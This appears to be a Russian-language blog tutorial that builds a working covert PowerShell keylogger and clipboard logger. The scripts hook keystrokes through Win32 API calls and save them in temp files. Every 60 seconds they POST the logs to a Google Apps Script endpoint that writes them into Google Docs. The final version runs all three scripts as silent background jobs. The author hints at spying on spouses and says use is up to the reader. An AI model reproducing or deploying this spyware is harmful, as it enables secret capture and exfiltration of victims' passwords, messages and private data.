Для приготовления нам понадобятся PowerShell v3, PowerShell ISE, браузер и аккаунт Google.
Идем на drive.google.com, создаем новый документ. Я назвал его key.log.
Копируем из адресной строки браузера его ID и закрываем.
Создаем скрипт (можно путем перехода по адресу script.google.com). Я назвал его PSKeyLogger.
Пишем код скрипта.
function myFunction() {
var docId = 'ID_документа';
var doc = DocumentApp.openById(docId);
if (!doc) return;
var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) +
'\n' + 'Hello, PSKeyLogger!');
}
Авторизуем скрипт для работы с Document Services путем выполнения myFunction().
Проверим файл key.log.
Переименуем myFunction() в doPost(e). Немного изменим код скрипта - будем читать параметр с именем keys.
function doPost(e) {
if (!e.parameter.keys) return;
var docId = 'ID_документа';
var doc = DocumentApp.openById(docId);
if (!doc) return;
var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) +
'\n' + e.parameter.keys);
}
Сохраняем версию и разворачиваем веб-приложение.
Копируем URL приложения.
Открываем PowerShell ISE, создаем новый скрипт, пишем код.
Add-Type -AssemblyName System.Web
$url = "https://script.google.com/macros/s/URL_скрипта/exec?keys="
$req = $url + [System.Web.HttpUtility]::UrlEncode("Hello, PSKeyLogger! #2!")
"request = " + $req
$res = Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $req
($res.StatusCode -eq 200)
Запускаем скрипт. После того, как получаем ответ от сервера, в консоли появляется сравнение статуса результата запроса с ОК - 200.
Проверим файл key.log еще раз.
Создаем еще один ps-скрипт - непосредственно клавиатурный шпион. На авторство не претендую: идея - nishang, реализация - shima. Мои изменения - незначительны.
$MAPVK_VSC_TO_VK_EX = 0x03
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд
$logfile = "$env:temp\key.log" # путь к файлу журнала
while ($true) {
Start-Sleep -Milliseconds $ss_ms
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$gotit = $getKeyState::GetAsyncKeyState($char)
if ($gotit -eq -32767) {
$scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res -gt 0) {
[System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode)
}
}
}
}
Запускаем скрипт, нажимаем несколько кнопок на клавиатуре, после чего прерываем бесконечный цикл (Ctrl+C).
Читаем содержимое журнала.
В контексте настоящего повествования не может не заинтересовать содержимое буфера обмена, для чего создаем еще один скрипт.
Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд
$cbtext = ""
$cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
Start-Sleep -Milliseconds $ss_ms
$tb = New-Object System.Windows.Forms.TextBox
$tb.Multiline = $true
$tb.Paste()
$cb = $tb.Text
if ($cbtext -ne $cb) {
$cbtext = $cb
Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString()
}
}
Запускаем скрипт, копируем несколько строчек в буфер обмена, после чего прерываем бесконечный цикл (Ctrl+C).
Читаем содержимое журнала буфера обмена
Идем на drive.google.com, создаем новый документ. Я назвал его сlipboard.log.
Копируем из адресной строки браузера его ID и закрываем.
Переходим к скрипту PSKeyLogger, меняем его код с учетом появившегося файла журнала буфера обмена.
function doPost(e) {
var docId = 'ID_журнала_клавиатурного_шпиона';
var clipId = 'ID_журнала_буфера_обмена';
if (e.parameter.keys) {
var doc = DocumentApp.openById(docId);
if (doc) {
var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) +
'\n' + e.parameter.keys);
}
}
if (e.parameter.clip) {
var doc = DocumentApp.openById(clipId);
if (doc) {
var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) +
'\n' + e.parameter.clip);
}
}
}
Возвращаемся обратно в PowerShell ISE, создаем еще один скрипт, который будет читать содержимое обоих журналов и закидывать данные по адресу скрипта на drive.google.com.
Add-Type -AssemblyName System.Web
$url = "https://script.google.com/macros/s/URL_скрипта/exec?"
$ss_s = 60 # выполнение кода в бесконечном цикле каждые 60 секунд
$logfile = "$env:temp\key.log"
$cbfile = "$env:temp\сlipboard.log"
$logpre = "keys="
$clippre = "clip="
while ($true) {
Start-Sleep -Seconds $ss_s
$arr = @()
if (Test-Path $logfile) {
$arr += $logpre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $logfile))
}
if (Test-Path $cbfile) {
$arr += $clippre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $cbfile))
}
if ($arr.Length -ne 0) {
$res = Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $url -Body ($arr -join "&")
($res.StatusCode -eq 200)
}
}
Запускаем скрипт, ждем 60 секунд до тех пор, пока в консоли отобразится сравнение статуса результата запроса с ОК - 200, после чего прерываем бесконечный цикл (Ctrl+C).
Переходим на drive.google.com, проверяем содержимое наших журналов.
key.log:
clipboard.log:
В завершение возвращаемся в PowerShell ISE, создаем финальный ps-скрипт: оборачиваем предыдущие скрипты в -ScriptBlock{} командлета Start-Job. Каждому из трех командлетов добавляем параметр -ErrorAction SilentlyContinue.
Start-Job -ScriptBlock {
$MAPVK_VSC_TO_VK_EX = 0x03
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд
$logfile = "$env:temp\key.log" # путь к файлу журнала
while ($true) {
Start-Sleep -Milliseconds $ss_ms
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$gotit = $getKeyState::GetAsyncKeyState($char)
if ($gotit -eq -32767) {
$scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res -gt 0) {
[System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode)
}
}
}
}
} -ErrorAction SilentlyContinue
Start-Job -ScriptBlock {
Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд
$cbtext = ""
$cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
Start-Sleep -Milliseconds $ss_ms
$tb = New-Object System.Windows.Forms.TextBox
$tb.Multiline = $true
$tb.Paste()
$cb = $tb.Text
if ($cbtext -ne $cb) {
$cbtext = $cb
Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString()
}
}
} -ErrorAction SilentlyContinue
Start-Job -ScriptBlock {
Add-Type -AssemblyName System.Web
$url = "https://script.google.com/macros/s/URL_скрипта/exec?"
$ss_s = 60 # выполнение кода в бесконечном цикле каждые 60 секунд
$logfile = "$env:temp\key.log"
$cbfile = "$env:temp\сlipboard.log"
$logpre = "keys="
$clippre = "clip="
while ($true) {
Start-Sleep -Seconds $ss_s
$arr = @()
if (Test-Path $logfile) {
$arr += $logpre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $logfile))
}
if (Test-Path $cbfile) {
$arr += $clippre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $cbfile))
}
if ($arr.Length -ne 0) {
Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $url -Body ($arr -join "&")
}
}
} -ErrorAction SilentlyContinue
Запускаем скрипт - в PowerShell ISE можно нажатием F5.
Спустя минуту-другую остановим и удалим все выполняемые в текущем сеансе задания.
Проверим журналы - в процессе выполнения скрипта я нажимал на кнопки на клавиатуре и копировал пару кусков кода в буфер обмена.
key.log:
clipboard.log:
Party's over. Результат - симбиоз платформ COM и .NET, Windows Management Framework, облачных сервисов Google, PowerShell и JavaScript.
Резюмируя повествование, хочу обратить внимание любознательного читателя, что полученное решение может пригодиться далеко не только ревнивым супругам. Как использовать полученный код - решать вам ;).
Ну и дисклеймер на всякий случай: за "допиливание" полученного кода с целью противозаконного использования автор ответственности не несет.















Комментариев нет:
Отправить комментарий
Комментарий будет опубликован после модерации